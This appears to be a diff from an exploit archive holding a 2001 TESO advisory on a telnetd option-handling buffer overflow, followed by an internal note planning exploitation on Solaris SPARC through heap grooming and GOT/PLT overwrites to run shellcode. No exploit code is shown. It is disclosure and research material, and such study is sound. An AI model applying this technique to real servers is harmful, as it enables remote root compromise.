12
13Summary
14===================
15
16 Within most of the current telnet daemons in use today there exist a buffer
17 overflow in the telnet option handling. Under certain circumstances it may
18 be possible to exploit it to gain root priviledges remotely.
19
20
21Systems Affected
22===================
23
24 System | vulnerable | exploitable *
25 ----------------------------------------+--------------+------------------
26 BSDI 4.x default | yes | yes
27 FreeBSD [2345].x default | yes | yes
28 IRIX 6.5 | yes | no
29 Linux netkit-telnetd < 0.14 | yes | ?
30 Linux netkit-telnetd >= 0.14 | no |
31 NetBSD 1.x default | yes | yes
32 OpenBSD 2.x | yes | ?
33 OpenBSD current | no |
34 Solaris 2.x sparc | yes | ?
35 <almost any other vendor's telnetd> | yes | ?
36 ----------------------------------------+--------------+------------------
37
38 * = From our analysis and conclusions, which may not be correct or we may
39 have overseen things. Do not rely on this.
40
41 Details about the systems can be found below.
42
43
44Impact
45===================
46
47 Through sending a specially formed option string to the remote telnet
48 daemon a remote attacker might be able to overwrite sensitive information
49 on the static memory pages. If done properly this may result in arbitrary
50 code getting executed on the remote machine under the priviledges the
51 telnet daemon runs on, usually root.
52
53
54Explanation
55===================
56
57 Within every BSD derived telnet daemon under UNIX the telnet options are
58 processed by the 'telrcv' function. This function parses the options
59 according to the telnet protocol and its internal state. During this
60 parsing the results which should be send back to the client are stored
61 within the 'netobuf' buffer. This is done without any bounds checking,
62 since it is assumed that the reply data is smaller than the buffer size
63 (which is BUFSIZ bytes, usually).
64
65 However, using a combination of options, especially the 'AYT' Are You There
66 option, it is possible to append data to the buffer, usually nine bytes
67 long. To trigger this response, two bytes in the input buffer are
68 necessary. Since this input buffer is BUFSIZ bytes long, you can exceed the
69 output buffer by as much as (BUFSIZ / 2) * 9) - BUFSIZ bytes. For the
70 common case that BUFSIZ is defined to be 1024, this results in a buffer
71 overflow by up to 3584 bytes. On systems where BUFSIZ is defined to be
72 4096, this is an even greater value (14336).
73
74 Due to the limited set of characters an attacker is able to write outside
75 of the buffer it is difficult - if not impossible on some systems - to
76 exploit this buffer overflow. Another hurdle for a possible attacker may be
77 the lack of interesting information to modify after the buffer.
78
79 This buffer overflow should be considered serious nevertheless, since
80 experience has shown that even complicated vulnerabilities can be
81 exploited by skilled attackers, BIND TSIG and SSH deattack come to mind.
82
83 We have constructed a working exploit for any version of BSDI, NetBSD and
84 FreeBSD. Exploitation on Solaris sparc may be possible but if it is, it is
85 very difficult involving lots of arcane tricks. OpenBSD is not as easily
86 exploitable as the other BSD's, because they do compile with other
87 options by default, changing memory layout.
88
89
90Solution
91===================
92
93 The vendors have been notified of the problem at the same time as the
94 general public, vendor patches for your telnet daemon that fix the bug will
95 show up soon.
96
97 Sometimes a fix might not be trivial and require a lot of changes to the
98 source code, due to the insecure nature the 'nfrontp' pointer is handled.
99 The best long term solution is to disable the telnet daemon at all, since
100 there are good and free replacements.
101
102
103Acknowledgements
104===================
105
106 The bug has been discovered by scut.
107
108 The tests and further analysis were done by smiler, lorian, zip and scut.
109
110
111Contact Information
112===================
113
114 The TESO crew can be reached by mailing to teso@team-teso.net
115 Our web page is at http://www.team-teso.net/
116
117
118References
119===================
120
121 [1] TESO
122 http://www.team-teso.net/
123
124
125Disclaimer
126===================
127
128 This advisory does not claim to be complete or to be usable for any
129 purpose. Especially information on the vulnerable systems may be inaccurate
130 or wrong. Possibly supplied exploit code is not to be used for malicious
131 purposes, but for educational purposes only.
132
133 This advisory is free for open distribution in unmodified form.
134 Articles that are based on information from this advisory should include
135 link [1].
136
137
138Exploit
139===================
140
141 Not this time. Not here.
142
143- ------
144
145
146-----BEGIN PGP SIGNATURE-----
147Version: GnuPG v1.0.6 (GNU/Linux)
148Comment: For info see http://www.gnupg.org
149
150iD8DBQE7VfBscZZ+BjKdwjcRAsTcAJ9esSlkS7BGkYM1Yulaz3zINqxpmgCeM885
1513thubMQc+6S4RpHasL0qz0Y=
152=VT7y
153-----END PGP SIGNATURE-----
diff --git a/exploits/7350854/teso-howitmaybeworkonsparc.txt b/exploits/7350854/teso-howitmaybeworkonsparc.txt
new file mode 100644
index 0000000..653d1a4
--- /dev/null
+++ b/exploits/7350854/teso-howitmaybeworkonsparc.txt
@@ -0,0 +1,59 @@
1--------------------------------------------------------------------------
2TESO Internal Paper
306/25/2001
4
5How to exploit Telnet Daemon on Solaris Sparc
6--------------------------------------------------------------------------
7
8This Paper describes how i am going to try to exploit the telnet daemon
9on Solaris Sparc maschines. The basic idea in exploiting was to overflow
10the [netobuf] until we can overwrite the pointer [netibuf] which points
11into heapspace and is meant for the incoming data. The idea was to fill
12the heap before with environment variables so that 0x00FFFE08 points
13into valid heapspace. Further was the idea to continue reading data
14again from the socket and so overwriting the malloc structure in memory.
15A carefully modification will allow us to overwrite an abritary memory
16adress (GOT, PLT, RETADDR) with our returnadress so allowing us to
17execute our own shellcode...
18
19So far the theory, now the hard reality...
20
21All info following is valid for the Solaris Sparc 2.6 in.telnetd binary
22i had access to.
23
24the memorylayout is like this:
25
26 00000 netobuf[1024]
27 ...
28+03063 ncc
29 ...
30+03091 *netibuf
31
32and this memory layout is exactly what causes the problem. If we start
33sending a bunch of IAC AYT request, we will overwrite ncc with a very
34huge positive integer. This causes our telrcv function to loop again
35and again. The telrcv function will only stop its loop if ncc becomes
36negative or the ptyoutputbuffer is full. This will happen soon, but
37after flushing it, the telrcv loop will continue. The major problem is
38that [netibuf] is not big enough to hit the pointer, send an AO and
39then hit ncc again to make it negative, because this is the only way
40we are able to come to the next read...
41The solution seems easy, but because i have no solaris shell i could
42test it yet:
43We sent a lot of envvars before trying to overwrite the vars, didnt we?
44Because netibuf is malloc before the envvars, it is right infront of
45them in heapspace. So our telrcv will very soon hit into one of our
46envvars (the first one). We can store a IAC AO and lotsa 0xff 0xfb 0x80+
47there. (most probably we need more envvars). we need enough of them
48to hit ncc again. this time it will make it negative and so the loop
49ends and our new [netibuf] (which points somewhere in the middle of the
50heap) The next read should give us enough power to read in any stuff to
51corrupt the malloced envvars and so overwrite either plt, got or retloc.
52the retaddr into our shellcode is easy to get, cause we know exactly the
53offset where our netibuf is read to. (dont forget that 0xff will cause
54problems... (so keep them out of shellcode)).
55
56This all must of course be tested and implemented... i am waiting for
57a solaris sparc root account to do it...
58
59lorian